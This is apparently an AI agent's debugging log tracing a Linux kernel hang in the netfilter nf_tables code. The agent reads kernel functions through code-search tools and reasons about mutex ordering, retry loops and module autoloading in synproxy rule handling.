Now, during `nc->call`, which is `nf_tables_newrule`, we're holding `commit_mutex`. `nf_tables_newrule` leads to `nft_expr_type_get`, which can trigger `nft_request_module`. This function *can* return `-EAGAIN`, adding the module to a list, which then signals to retry. Then, `nfnetlink_rcv_batch` sees this and will call `ss->abort(net, oskb, NFNL_ABORT_AUTOLOAD)`, which then calls `nf_tables_module_autoload`, but crucially, *drops* `commit_mutex`, calls `request_module`, and *re-takes* `commit_mutex`. Finally, it releases the mutex.
So, *crucially*, it looks like `commit_mutex` is dropped before `request_module` is called. Therefore, there's no direct AB-BA deadlock between `commit_mutex` and `rtnl_lock` caused by `request_module` *in this sequence*.
But, I must consider other potential call paths. I need to be *sure*.
What about `request_module` being called from `nf_ct_netns_do_get`? This is called from `nft_synproxy_do_init`, which is, yes, called from `nf_tables_newrule`. During `nc->call`, `commit_mutex` is definitely held. And if `nf_ct_netns_do_get` *did* call `request_module` while holding `commit_mutex`, *that* could be a problem. But, I remember that for `NFPROTO_INET`, `nf_ct_netns_do_get` *doesn't* call `request_module`.
Hold on, what if I introduce `NFPROTO_BRIDGE`? Let me double-check the reproducer, the family field in my reproducer is `01` which means `NFPROTO_INET`. Okay, so it seems like I'm safe there.
Alright, what if it creates a table for `NFPROTO_INET`, but then adds a rule with `synproxy`? Okay, `nft_synproxy_do_init` will then call `nf_ct_netns_get` with `NFPROTO_INET`. This will then call `nf_ct_netns_inet_get` which then calls `nf_ct_netns_do_get(net, NFPROTO_IPV4)` and `nf_ct_netns_do_get(net, NFPROTO_IPV6)`. Still, this *still* *shouldn't* call `request_module`.
Okay, so I think `request_module` is still safe here.
What if `nf_tables_newchain` calls `nf_tables_addchain` which then calls `nf_tables_register_hook`, which calls `nf_register_net_hook`, which takes `nf_hook_mutex`? I should check if `nf_register_net_hook` can call `request_module`, but no. No it does not.
What about other call paths? `nf_tables_commit` calls `nf_tables_commit_chain_prepare`, which allocates memory. No. It won't call `request_module`.
Does `nf_tables_validate` ever call `request_module`? Nope.
Let's switch gears. What if this isn't a deadlock, but an *infinite loop*? Where could that happen? What if `nf_tables_newrule` is returning `-EAGAIN` for *some other* reason?
* `nf_tables_alloc_handle`? Nope.
* `nf_tables_expr_parse`? Maybe. `nft_expr_type_get` can return `-EAGAIN` if `nft_request_module` returns `-EAGAIN`. But what if `request_module` fails to load the module?
If `request_module` fails, the module isn't loaded. The *next* retry would then call `__nft_expr_type_get`, which returns NULL, and so, then calls `nft_request_module`. But `nft_request_module` finds the module in `nft_net->module_list`, `req
|
| 97/2 |
2026/05/31 10:25 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_validate]
Results: map[SourceCode:10079: static int nf_tables_validate(struct net *net)
10080: {
10081: struct nftables_pernet *nft_net = nft_pernet(net);
10082: struct nft_table *table;
10083:
10084: list_for_each_entry(table, &nft_net->tables, list) {
10085: switch (table->validate_state) {
10086: case NFT_VALIDATE_SKIP:
10087: continue;
10088: case NFT_VALIDATE_NEED:
10089: nft_validate_state_update(table, NFT_VALIDATE_DO);
10090: fallthrough;
10091: case NFT_VALIDATE_DO:
10092: if (nft_table_validate(net, table) < 0)
10093: return -EAGAIN;
10094:
10095: nft_validate_state_update(table, NFT_VALIDATE_SKIP);
10096: break;
10097: }
10098: }
10099:
10100: return 0;
10101: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 98/2 |
2026/05/31 10:25 |
llm |
expert |
0m
Model:
Tokens:
input: 111306
output: 41
thoughts: 41
Thoughts: Okay, let's see...
**Decoding the `nf_tables_validate` Logic**
Right, so `nf_tables_validate` is throwing an `-EAGAIN` error, and that's only if `nft_table_validate` returns something less than zero. Interesting. That suggests a chain of error propagation, which is good. We need to trace this back. The next logical step is to dive into `nft_table_validate` and understand *why* it might return a negative value. I need to figure out the conditions triggering that and then, potentially, map it back to the original failure. Let's see what's going on within that function.
|
| 99/2 |
2026/05/31 10:26 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_table_validate]
Results: map[SourceCode:4108: static int nft_table_validate(struct net *net, const struct nft_table *table)
4109: {
4110: struct nft_chain *chain;
4111: struct nft_ctx ctx = {
4112: .net = net,
4113: .family = table->family,
4114: };
4115: int err;
4116:
4117: list_for_each_entry(chain, &table->chains, list) {
4118: if (!nft_is_base_chain(chain))
4119: continue;
4120:
4121: ctx.chain = chain;
4122: err = nft_chain_validate(&ctx, chain);
4123: if (err < 0)
4124: return err;
4125:
4126: cond_resched();
4127: }
4128:
4129: return 0;
4130: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 100/2 |
2026/05/31 10:26 |
llm |
expert |
0m
Model:
Tokens:
input: 111853
output: 41
thoughts: 402
Thoughts: **Infinite Loop in Netfilter nf_tables Validation**
Okay, so I'm looking at this Netfilter code, specifically the `nf_tables` validation process, and something just jumped out at me. The `nft_table_validate` function returns an error code – potentially *any* negative value, right? Like `-EINVAL`, `-EOPNOTSUPP`, you name it. But here's the kicker: `nf_tables_validate` *always* translates any negative return from `nft_table_validate` into `-EAGAIN`.
So, what happens downstream? Well, `nf_tables_commit` gets `-EAGAIN`. Then, `nfnetlink_rcv_batch` encounters this `-EAGAIN` from the commit and sets `NFNL_BATCH_REPLAY` and goes to `done`. In `done`, there's an abort call, which is then followed by a replay of the *entire* batch.
And this is where it hits me: the batch is just going to *repeat* the exact same operations. It's going to recreate the table, the chain, the rule. Then, the validation will happen again. `nf_tables_commit` will be invoked, `nf_tables_validate` will be called, and it will call `nft_table_validate` again. If that returns the same negative value, we get `-EAGAIN` *again*. And we loop. And loop. And loop. This is a classic infinite loop. The code will endlessly retry validation.
We need to figure out when `nft_table_validate` might return a negative value, to understand what situations can trigger this. It calls `nft_chain_validate`... so that's the next place to look for the root cause of the problem.
|
| 101/2 |
2026/05/31 10:26 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_chain_validate]
Results: map[SourceCode:4066: /** nft_chain_validate - loop detection and hook validation
4067: *
4068: * @ctx: context containing call depth and base chain
4069: * @chain: chain to validate
4070: *
4071: * Walk through the rules of the given chain and chase all jumps/gotos
4072: * and set lookups until either the jump limit is hit or all reachable
4073: * chains have been validated.
4074: */
4075: int nft_chain_validate(const struct nft_ctx *ctx, const struct nft_chain *chain)
4076: {
4077: struct nft_expr *expr, *last;
4078: struct nft_rule *rule;
4079: int err;
4080:
4081: if (ctx->level == NFT_JUMP_STACK_SIZE)
4082: return -EMLINK;
4083:
4084: list_for_each_entry(rule, &chain->rules, list) {
4085: if (fatal_signal_pending(current))
4086: return -EINTR;
4087:
4088: if (!nft_is_active_next(ctx->net, rule))
4089: continue;
4090:
4091: nft_rule_for_each_expr(expr, last, rule) {
4092: if (!expr->ops->validate)
4093: continue;
4094:
4095: /* This may call nft_chain_validate() recursively,
4096: * callers that do so must increment ctx->level.
4097: */
4098: err = expr->ops->validate(ctx, expr);
4099: if (err < 0)
4100: return err;
4101: }
4102: }
4103:
4104: return 0;
4105: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 102/2 |
2026/05/31 10:26 |
llm |
expert |
0m
Model:
Tokens:
input: 113259
output: 41
thoughts: 45
Thoughts: Okay, here's my take on those thoughts, framed as my own mental process:
**Diving into the NFTables Synproxy Validation**
Alright, so `nft_chain_validate` is calling `expr->ops->validate(ctx, expr)`. Standard NFTables fare. Now, I need to understand what this `validate` function *actually does* for `synproxy`. It's a critical part of the process, ensuring the rule is correctly formed and safe. I've got a hunch it's in `nft_synproxy.c`, so that's where I need to head next. Time to crack open that file and see what validation entails for synproxy rules. This is where the core logic will be.
|
| 103/2 |
2026/05/31 10:26 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nft_synproxy.c Name:nft_synproxy_validate]
Results: map[SourceCode: 250: static int nft_synproxy_validate(const struct nft_ctx *ctx,
251: const struct nft_expr *expr)
252: {
253: if (ctx->family != NFPROTO_IPV4 &&
254: ctx->family != NFPROTO_IPV6 &&
255: ctx->family != NFPROTO_INET)
256: return -EOPNOTSUPP;
257:
258: return nft_chain_validate_hooks(ctx->chain, (1 << NF_INET_LOCAL_IN) |
259: (1 << NF_INET_FORWARD));
260: }
SourceFile:net/netfilter/nft_synproxy.c]
|
| 104/2 |
2026/05/31 10:26 |
llm |
expert |
0m
Model:
Tokens:
input: 113714
output: 43
thoughts: 309
Thoughts: **Analyzing the `nft_synproxy_validate` Function and Hook Validation**
Okay, let's break this down. `nft_synproxy_validate` is calling `nft_chain_validate_hooks` with a specific set of allowed hooks: `(1 << NF_INET_LOCAL_IN) | (1 << NF_INET_FORWARD)`. I need to figure out why this might be failing. The reproducer seems to be creating a chain, and the crucial piece is this `NFTA_HOOK_HOOKNUM` attribute.
Right, `NF_INET_LOCAL_IN` is hook number 1 for `NFPROTO_INET`. The expression `(1 << NF_INET_LOCAL_IN)` translates to `(1 << 1)`, which equals 2. So, we're checking if the chain's hook is either `NF_INET_LOCAL_IN` (hook 1) or `NF_INET_FORWARD`.
If the chain *is* `NF_INET_LOCAL_IN`, then `nft_chain_validate_hooks` should return 0, indicating a valid configuration, according to the hook set allowed by `nft_synproxy_validate`. But what is it actually doing? The reproducer should make it clear.
Hmm, I wonder what happens if the hooknum is set to 0, which would be `NF_INET_PRE_ROUTING`. Let me confirm the hooknum from the reproducer's data. Okay, parsing this hex data, I see `08 00 01 40 00 00 00 01`, that's `NFTA_HOOK_HOOKNUM`, and the value is `00 00 00 01` (1). So, the chain's hook is indeed `NF_INET_LOCAL_IN` (1).
So, the hooknum is 1. The code should validate, as 1 (hooknum) is in the list of valid hooks! Let's now look at the `nft_chain_validate_hooks` function itself to see if I'm missing something, because something isn't working as I'd expect here.
|
| 105/2 |
2026/05/31 10:26 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_chain_validate_hooks]
Results: map[SourceCode:11522: int nft_chain_validate_hooks(const struct nft_chain *chain,
11523: unsigned int hook_flags)
11524: {
11525: struct nft_base_chain *basechain;
11526:
11527: if (nft_is_base_chain(chain)) {
11528: basechain = nft_base_chain(chain);
11529:
11530: if ((1 << basechain->ops.hooknum) & hook_flags)
11531: return 0;
11532:
11533: return -EOPNOTSUPP;
11534: }
11535:
11536: return 0;
11537: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 106/2 |
2026/05/31 10:26 |
llm |
expert |
0m
Model:
Tokens:
input: 114794
output: 47
thoughts: 483
Thoughts: **Analyzing the Potential Loop**
Okay, let's break this down systematically. If `basechain->ops.hooknum` is 1, a bitwise operation leads to a non-zero result. That means the initial validation, `nft_table_validate`, and `nf_tables_validate` return 0. This should prevent the infinite loop because `nf_tables_commit` wouldn't be returning `-EAGAIN`.
But, what if the reproducer *does* create a chain with a hooknum of 0? Checking the reproducer, it's actually setting the hooknum to 1. The key might be that the `synproxy` requires `NF_INET_LOCAL_IN` (1) or `NF_INET_FORWARD` (3), but the hooknum 1 is actually valid. So, even with a hooknum of 1, `nft_synproxy_validate` still might return a value less than zero for *another* reason. But wait, `nft_synproxy_validate` *shouldn't* return `-EOPNOTSUPP` if `ctx->family` is INET (1) as the code expects.
Alright, so the infinite loop *could* be coming from somewhere else. Maybe `nf_tables_validate` is returning `-EAGAIN` due to another rule in the reproducer, but the reproducer *only* has one rule, so that is unlikely.
Ah-ha! What if `nf_tables_commit` is returning `-EAGAIN` because of `nft_flow_rule_offload_commit`?
```c
err = nft_flow_rule_offload_commit(net);
if (err < 0)
return err;
```
If `nft_flow_rule_offload_commit` returns `-EAGAIN`, *then* we'd have the infinite loop! I need to check the logic *inside* `nft_flow_rule_offload_commit`. That's where the problem might lie.
|
| 107/2 |
2026/05/31 10:26 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_offload.c Name:nft_flow_rule_offload_commit]
Results: map[SourceCode: 566: int nft_flow_rule_offload_commit(struct net *net)
567: {
568: struct nftables_pernet *nft_net = nft_pernet(net);
569: struct nft_trans *trans;
570: int err = 0;
571: u8 policy;
572:
573: list_for_each_entry(trans, &nft_net->commit_list, list) {
574: if (trans->table->family != NFPROTO_NETDEV)
575: continue;
576:
577: switch (trans->msg_type) {
578: case NFT_MSG_NEWCHAIN:
579: if (!(nft_trans_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD) ||
580: nft_trans_chain_update(trans))
581: continue;
582:
583: policy = nft_trans_chain_policy(trans);
584: err = nft_flow_offload_chain(nft_trans_chain(trans), &policy,
585: FLOW_BLOCK_BIND);
586: break;
587: case NFT_MSG_DELCHAIN:
588: if (!(nft_trans_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD))
589: continue;
590:
591: policy = nft_trans_chain_policy(trans);
592: err = nft_flow_offload_chain(nft_trans_chain(trans), &policy,
593: FLOW_BLOCK_UNBIND);
594: break;
595: case NFT_MSG_NEWRULE:
596: if (!(nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD))
597: continue;
598:
599: if (trans->flags & NLM_F_REPLACE ||
600: !(trans->flags & NLM_F_APPEND)) {
601: err = -EOPNOTSUPP;
602: break;
603: }
604: err = nft_flow_offload_rule(nft_trans_rule_chain(trans),
605: nft_trans_rule(trans),
606: nft_trans_flow_rule(trans),
607: FLOW_CLS_REPLACE);
608: break;
609: case NFT_MSG_DELRULE:
610: if (!(nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD))
611: continue;
612:
613: err = nft_flow_offload_rule(nft_trans_rule_chain(trans),
614: nft_trans_rule(trans),
615: NULL, FLOW_CLS_DESTROY);
616: break;
617: }
618:
619: if (err) {
620: nft_flow_rule_offload_abort(net, trans);
621: break;
622: }
623: }
624:
625: return err;
626: }
SourceFile:net/netfilter/nf_tables_offload.c]
|
| 108/2 |
2026/05/31 10:26 |
llm |
expert |
0m
Model:
Tokens:
input: 116717
output: 41
thoughts: 459
Thoughts: **Analyzing a Potential NF_TABLES Infinite Loop**
Okay, so I'm looking at this code and trying to figure out why it's behaving this way. My initial thought was that it only processes `NFPROTO_NETDEV`, and the reproducer uses `NFPROTO_INET`, so it just returns 0. That's a simple explanation, but I have to dig deeper.
Now, I'm considering `-EAGAIN` returns. What if `nf_tables_commit` gets `-EAGAIN` from `ss->commit` because of `nf_tables_commit` itself returning `-EAGAIN`? That seems unlikely, and I can't think of anywhere else that `nf_tables_commit` would return `-EAGAIN`. Nope, that doesn't seem to be the issue.
Okay, let's think about `nf_tables_newrule` returning `-EAGAIN`. I already examined the `nft_request_module` flow – it only returns `-EAGAIN` *once* per module. It sets `req->done = false`, adds the module to a list, and returns `-EAGAIN`. Then, `nf_tables_abort` calls `nf_tables_module_autoload`. The `nf_tables_module_autoload` function calls `request_module` and sets `req->done = true`. The next time it's retried, `nft_request_module` will see that the module is in the list with `req->done == true`, and just returns 0. Then `nft_expr_type_get` will return `-ENOENT`. Then `nf_tables_newrule` returns `-ENOENT`. Then `nfnetlink_rcv_batch` will fail the batch but *not* retry. So, that means there isn't an infinite loop there. I think that's sound.
Hold on, there's another possibility I haven't considered. What if `request_module` *hangs*? If `request_module` hangs, then `nf_tables_module_autoload` also hangs. `nf_tables_module_autoload` is called from `nf_tables_abort`.
Let's look at `nf_tables_abort`. Okay, I see.
```c
if (action == NFNL_ABORT_AUTOLOAD)
nf_tables_module_autoload(net);
else
nf_tables_module_autoload_cleanup(net);
mutex_unlock(&nft_net->commit_mutex);
```
Wait, `nf_tables_abort` calls `nf_tables_module_autoload` *before* dropping `commit_mutex`? Interesting. I need to re-examine that function and the surrounding context. This could be a race condition.
|
| 109/2 |
2026/05/31 10:26 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_abort]
Results: map[SourceCode:11455: static int nf_tables_abort(struct net *net, struct sk_buff *skb,
11456: enum nfnl_abort_action action)
11457: {
11458: struct nftables_pernet *nft_net = nft_pernet(net);
11459: unsigned int gc_seq;
11460: int ret;
11461:
11462: gc_seq = nft_gc_seq_begin(nft_net);
11463: ret = __nf_tables_abort(net, action);
11464: nft_gc_seq_end(nft_net, gc_seq);
11465:
11466: WARN_ON_ONCE(!list_empty(&nft_net->commit_list));
11467:
11468: /* module autoload needs to happen after GC sequence update because it
11469: * temporarily releases and grabs mutex again.
11470: */
11471: if (action == NFNL_ABORT_AUTOLOAD)
11472: nf_tables_module_autoload(net);
11473: else
11474: nf_tables_module_autoload_cleanup(net);
11475:
11476: mutex_unlock(&nft_net->commit_mutex);
11477:
11478: return ret;
11479: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 110/2 |
2026/05/31 10:26 |
llm |
expert |
1m
Model:
Tokens:
input: 118255
output: 27
thoughts: 4384
Thoughts: **Analyzing the Kernel's Netfilter and Module Loading Logic: A Deep Dive**
Okay, so the initial hunch regarding `nf_tables_abort` and `nf_tables_module_autoload` and the `commit_mutex` lock order seems to check out. The module autoload drops the mutex, and `request_module` doesn't hold it, preventing a potential deadlock with netdev events. But that's just the starting point. The crucial part here is making sure that there isn't another place where `request_module` *is* called while holding `commit_mutex`. We have to consider every single possibility here.
The checks show that for `NFPROTO_INET`, `nf_ct_netns_do_get` doesn't call `request_module`. But what if the reproducer uses a table, chain, or rule with another family, such as `NFPROTO_BRIDGE`? The family must match, so that's not it. Okay, maybe a deeper dive into `nft_synproxy_do_init`, which calls `nf_synproxy_ipv4_init` and `nf_synproxy_ipv6_init`. But these functions don't seem to call `request_module`, either. Back to the drawing board to see if `request_module` is called from `nft_expr_type_get` while holding `commit_mutex`.
The process here is to trace the function calls from `nft_expr_type_get` back to where they are called. Okay, it's called from `nf_tables_expr_parse`. This is where it gets interesting. Now, there is `lockdep_nfnl_nft_mutex_not_held()` that asserts that `nfnl_lock` is NOT held. But it does NOT assert that `commit_mutex` is not held! BUT `nft_request_module` just returns `-EAGAIN`, it does NOT call `request_module`! It's clear that the only call to `request_module` happens from `nf_tables_module_autoload`, where the `commit_mutex` has been dropped. That means `request_module` is *never* called with `commit_mutex` held.
Next, we look for other places where `request_module` is called. We checked `nfnetlink_rcv_batch`. `request_module` is called while `nfnl_lock` is DROPPED. This won't cause the problem. Not `nf_tables_newtable` either. It's the same situation.
So, why does `crda_timeout_work` hang on `rtnl_lock`? If `request_module` is not the cause, then what? Now, maybe `rtnl_lock` is held by `nf_tables_commit`? No, that is not the case. `nf_tables_commit` doesn't take `rtnl_lock`. But... what if `nf_tables_commit` calls something that *does* take `rtnl_lock`?
Alright, let's step through `nf_tables_commit` again. It calls `nf_tables_commit_chain_prepare` which calls `nf_tables_chain_alloc_rules`, then `nft_flow_rule_offload_commit`. Now, `nft_flow_rule_offload_commit` calls `nf_tables_commit_chain`. So many calls! Then `nf_tables_table_notify` which is followed by `nf_tables_chain_notify` and finally `nft_netdev_unregister_hooks`. Here we go! `nft_netdev_unregister_hooks` does *not* take `rtnl_lock` but it *does* take `nf_hook_mutex`.
And what about the other calls within `nf_tables_commit`, such as `nft_clear`? Not it. The reproducer does use `synproxy`, so let's look at `nf_synproxy_ipv4_init`. This calls `nf_register_net_hooks`. Does *that* take `rtnl_lock`? Nope.
So, we come back to the likely scenario. We have a deadlock on the lock order:
1. `rtnl_lock` (held by caller of netdev notifier)
2. `commit_mutex` (taken in `nf_tables_netdev_event`)
3. `nf_hook_mutex` (taken in `nf_unregister_net_hook`)
Now let's verify that the lock order is the same when adding a new chain with `nf_tables_newchain`.
This takes `commit_mutex`, and then it calls `nf_tables_addchain`. It is then that `nf
|
| 111/2 |
2026/05/31 10:28 |
tool |
codesearch-find-references |
0m
Args: map[Name:nf_synproxy_ipv4_init]
Results: map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:nft_synproxy_do_init SourceFile:net/netfilter/nft_synproxy.c SourceLine:177] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:nft_synproxy_do_init SourceFile:net/netfilter/nft_synproxy.c SourceLine:189] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:synproxy_tg4_check SourceFile:net/ipv4/netfilter/ipt_SYNPROXY.c SourceLine:78]] TruncatedOutput:false]
|
| 112/2 |
2026/05/31 10:28 |
llm |
expert |
0m
Model:
Tokens:
input: 123880
output: 45
thoughts: 56
Thoughts: Here's my summary, as the expert:
**Investigating SYNPROXY Initialization**
Okay, so I'm digging into this `SYNPROXY` stuff again, and I've just hit a key point. It seems like `synproxy_tg4_check`, which is in `net/ipv4/netfilter/ipt_SYNPROXY.c`, also calls `nf_synproxy_ipv4_init`. That's interesting, as it indicates a potential initialization path I might have missed before. The fact that `synproxy_tg4_check` itself calls the init routine suggests it could be a trigger for initialization related to the IPv4 side, and that's something I need to fully understand. I should probably focus on digging deep into what `synproxy_tg4_check` does, and what conditions trigger it, to fully grasp this initialization sequence. It could be crucial for a variety of use cases. Let's see what's going on in there.
|
| 113/2 |
2026/05/31 10:28 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ipv4/netfilter/ipt_SYNPROXY.c Name:synproxy_tg4_check]
Results: map[SourceCode: 64: static int synproxy_tg4_check(const struct xt_tgchk_param *par)
65: {
66: struct synproxy_net *snet = synproxy_pernet(par->net);
67: const struct ipt_entry *e = par->entryinfo;
68: int err;
69:
70: if (e->ip.proto != IPPROTO_TCP ||
71: e->ip.invflags & XT_INV_PROTO)
72: return -EINVAL;
73:
74: err = nf_ct_netns_get(par->net, par->family);
75: if (err)
76: return err;
77:
78: err = nf_synproxy_ipv4_init(snet, par->net);
79: if (err) {
80: nf_ct_netns_put(par->net, par->family);
81: return err;
82: }
83:
84: return err;
85: }
SourceFile:net/ipv4/netfilter/ipt_SYNPROXY.c]
|
| 114/2 |
2026/05/31 10:28 |
llm |
expert |
0m
Model:
Tokens:
input: 124521
output: 46
thoughts: 874
Thoughts: **Analyzing Potential Concurrency Issues in the Synproxy Initialization**
Okay, let's break this down systematically. I see that `synproxy_tg4_check` is called within the `xt_check_target` function, which in turn is called by `iptables` when a rule is added. The key observation is that `iptables` utilizes `setsockopt(IPT_SO_SET_REPLACE)`, which implicitly acquires `xt_mutex`. This implies that `synproxy_tg4_check` is also protected by `xt_mutex`. However, `nft_synproxy_do_init`, which also calls related synproxy initialization functions, is guarded by a different lock, `commit_mutex`.
This immediately triggers a red flag: `nf_synproxy_ipv4_init` and its siblings could potentially be called concurrently from both `iptables` *and* `nftables`! If that's the case, and there's no shared lock, `snet->hook_ref4` becomes vulnerable to race conditions, because it's incremented without any proper locking.
Let me examine `nf_synproxy_ipv4_init` more closely. Here's the code snippet:
```c
int nf_synproxy_ipv4_init(struct synproxy_net *snet, struct net *net)
{
int err;
if (snet->hook_ref4 == 0) {
err = nf_register_net_hooks(net, ipv4_synproxy_ops,
ARRAY_SIZE(ipv4_synproxy_ops));
if (err)
return err;
}
snet->hook_ref4++;
return 0;
}
```
The scenario I'm envisioning is this: Imagine two threads calling `nf_synproxy_ipv4_init` concurrently. Thread 1 sees `snet->hook_ref4` as 0. It proceeds to call `nf_register_net_hooks`. Meanwhile, Thread 2 *also* sees `snet->hook_ref4` as 0. It too calls `nf_register_net_hooks`. Now, `nf_register_net_hooks` itself *does* acquire `nf_hook_mutex`. Thread 1 successfully registers the hooks. Here's where it gets interesting: does `nf_register_net_hooks` check if the hooks are *already* registered? My experience suggests it probably doesn't, and just attempts to add them again. So, the *same* hooks get registered twice! Then, `snet->hook_ref4` gets incremented twice.
My initial thought is that this double registration could easily lead to corruption in the hook list or a double-free situation later during unregistration.
But...wait a second. The reproducer only mentions `nftables`. It doesn't use `iptables`. That *should* mean no actual concurrency between `iptables` and `nftables` in this specific scenario.
Then again, what if there's *internal* concurrency? The bug report mentions a single hung task:
```
task:kworker/0:3 state:D stack:24936 pid:5893 tgid:5893 ppid:2 task_flags:0x4208060 flags:0x00004000
Workqueue: events_power_efficient crda_timeout_work
```
This is a single thread. The reproducer is single-threaded. So, concurrency is *not* the problem here!
Okay, let me pivot. What if `nf_synproxy_ipv6_init` fails? Looking back at `nft_synproxy_do_init`:
```c
case NFPROTO_INET:
err = nf_synproxy_ipv4_init(snet, ctx->net);
if (err)
goto nf_ct_failure;
err = nf_synproxy_ipv6_init(snet, ctx->net);
if (err) {
nf_synproxy_ipv4_fini(snet, ctx->net);
goto nf_ct_failure;
}
break;
```
If `nf_synproxy_ipv6_init` returns an error, it calls `nf_synproxy_ipv4_fini`. Could that be a problem? Is `nf_synproxy_ipv6_init` prone to failure? Time to investigate that next.
|
| 115/2 |
2026/05/31 10:28 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_synproxy_core.c Name:nf_synproxy_ipv6_init]
Results: map[SourceCode:1190: int
1191: nf_synproxy_ipv6_init(struct synproxy_net *snet, struct net *net)
1192: {
1193: int err;
1194:
1195: if (snet->hook_ref6 == 0) {
1196: err = nf_register_net_hooks(net, ipv6_synproxy_ops,
1197: ARRAY_SIZE(ipv6_synproxy_ops));
1198: if (err)
1199: return err;
1200: }
1201:
1202: snet->hook_ref6++;
1203: return 0;
1204: }
SourceFile:net/netfilter/nf_synproxy_core.c]
|
| 116/2 |
2026/05/31 10:28 |
llm |
expert |
1m
Model:
Tokens:
input: 126684
output: 28
thoughts: 860
Thoughts: **Analyzing a Potential Infinite Loop in Netfilter/NFTables Module Loading**
Okay, so I'm trying to figure out why this isn't an infinite loop, even though the reproducer triggers what seems like a module autoload issue. My initial thought was that it should be straightforward – the kernel *shouldn't* fail unless it runs out of memory. But, hold on… could the reproducer somehow be triggering `-EAGAIN` from `nf_tables_newrule`? That function is important here. We already know that `nft_request_module` *should* only return `-EAGAIN` once because of the existing checks.
Then I had this other thought! What if `nft_request_module` *always* returns `-EAGAIN`? That would be... problematic. I need to re-examine the code in `nft_request_module`.
```c
list_for_each_entry(req, &nft_net->module_list, list) {
if (!strcmp(req->module, module_name)) {
if (req->done)
return 0;
/* A request to load this module already exists. */
return -EAGAIN;
}
}
```
If `req->done` is `true`, it should return `0`. Good. So, *when* is `req->done` set to `true`? I need to track this down. It looks like `req->done` is set to `true` in `nf_tables_module_autoload`:
```c
list_for_each_entry_safe(req, next, &module_list, list) {
request_module("%s", req->module);
req->done = true;
}
```
Okay, so the `req->done` field gets set. That's a key piece of the puzzle. Now I need to figure out when this function is called. Hang on, `nf_tables_module_autoload` is called from `nf_tables_abort`.
```c
if (action == NFNL_ABORT_AUTOLOAD)
nf_tables_module_autoload(net);
else
nf_tables_module_autoload_cleanup(net);
```
Okay, so it is dependent on the `action` variable. Now, when does `nfnetlink_rcv_batch` pass `NFNL_ABORT_AUTOLOAD` to `nf_tables_abort`?
```c
done:
if (status & NFNL_BATCH_REPLAY) {
ss->abort(net, oskb, NFNL_ABORT_AUTOLOAD);
nfnl_err_reset(&err_list);
consume_skb(skb);
module_put(ss->owner);
goto replay;
}
```
It seems `NFNL_ABORT_AUTOLOAD` is passed when `status & NFNL_BATCH_REPLAY` is true. `status |= NFNL_BATCH_REPLAY` is set when `nc->call` returns `-EAGAIN`. So, `nf_tables_module_autoload` *will* be called, and `req->done` will be set to `true`. This means that in the *next* retry, `nft_request_module` will return `0`. Then `nft_expr_type_get` will return `-ENOENT`. Then `nf_tables_newrule` will return `-ENOENT`. Then `nc->call` will return `-ENOENT`. Crucially, `nfnetlink_rcv_batch` will *not* set `NFNL_BATCH_REPLAY`. This means it will *not* retry again! There is no infinite loop, that's it!
Hold on… let me think through a few more edge cases. What if `request_module` *fails* and some other rule in the batch returns `-EAGAIN`? That's not a concern, the reproducer only has one rule.
Okay, what if `request_module` *hangs*? If `request_module` hangs, it hangs within `nf_tables_module_autoload`. But `nf_tables_module_autoload` is called *without* `commit_mutex` held. So, `commit_mutex` is *not* held. If `commit_mutex` is not held, netdev events won't block on `commit_mutex`. Therefore, `rtnl_lock` should not be held forever and `crda_timeout_work` also shouldn't hang.
Okay, wait… what if `request_
|
| 117/2 |
2026/05/31 10:29 |
tool |
grepper |
0m
Args: map[Expression:request_module PathPrefix:net/netfilter/]
Results: map[Output:net/netfilter/ipset/ip_set_core.c=105=load_settype(const char *name)
--
net/netfilter/ipset/ip_set_core.c-111- pr_debug("try to load ip_set_%s\n", name);
net/netfilter/ipset/ip_set_core.c:112: if (request_module("ip_set_%s", name) < 0) {
net/netfilter/ipset/ip_set_core.c-113- pr_warn("Can't find ip_set type %s\n", name);
--
net/netfilter/ipvs/ip_vs_pe.c=49=struct ip_vs_pe *ip_vs_pe_getbyname(const char *name)
--
net/netfilter/ipvs/ip_vs_pe.c-57- if (!pe) {
net/netfilter/ipvs/ip_vs_pe.c:58: request_module("ip_vs_pe_%s", name);
net/netfilter/ipvs/ip_vs_pe.c-59- pe = __ip_vs_pe_getbyname(name);
--
net/netfilter/ipvs/ip_vs_sched.c=113=struct ip_vs_scheduler *ip_vs_scheduler_get(const char *sched_name)
--
net/netfilter/ipvs/ip_vs_sched.c-125- if (sched == NULL) {
net/netfilter/ipvs/ip_vs_sched.c:126: request_module("ip_vs_%s", sched_name);
net/netfilter/ipvs/ip_vs_sched.c-127- sched = ip_vs_sched_getbyname(sched_name);
--
net/netfilter/nf_bpf_link.c=34=get_proto_defrag_hook(struct bpf_nf_link *link,
--
net/netfilter/nf_bpf_link.c-45- rcu_read_unlock();
net/netfilter/nf_bpf_link.c:46: err = request_module("%s", mod);
net/netfilter/nf_bpf_link.c-47- if (err)
--
net/netfilter/nf_conntrack_helper.c=75=nf_conntrack_helper_try_module_get(const char *name, u16 l3num, u8 protonum)
--
net/netfilter/nf_conntrack_helper.c-84- rcu_read_unlock();
net/netfilter/nf_conntrack_helper.c:85: if (request_module("nfct-helper-%s", name) == 0) {
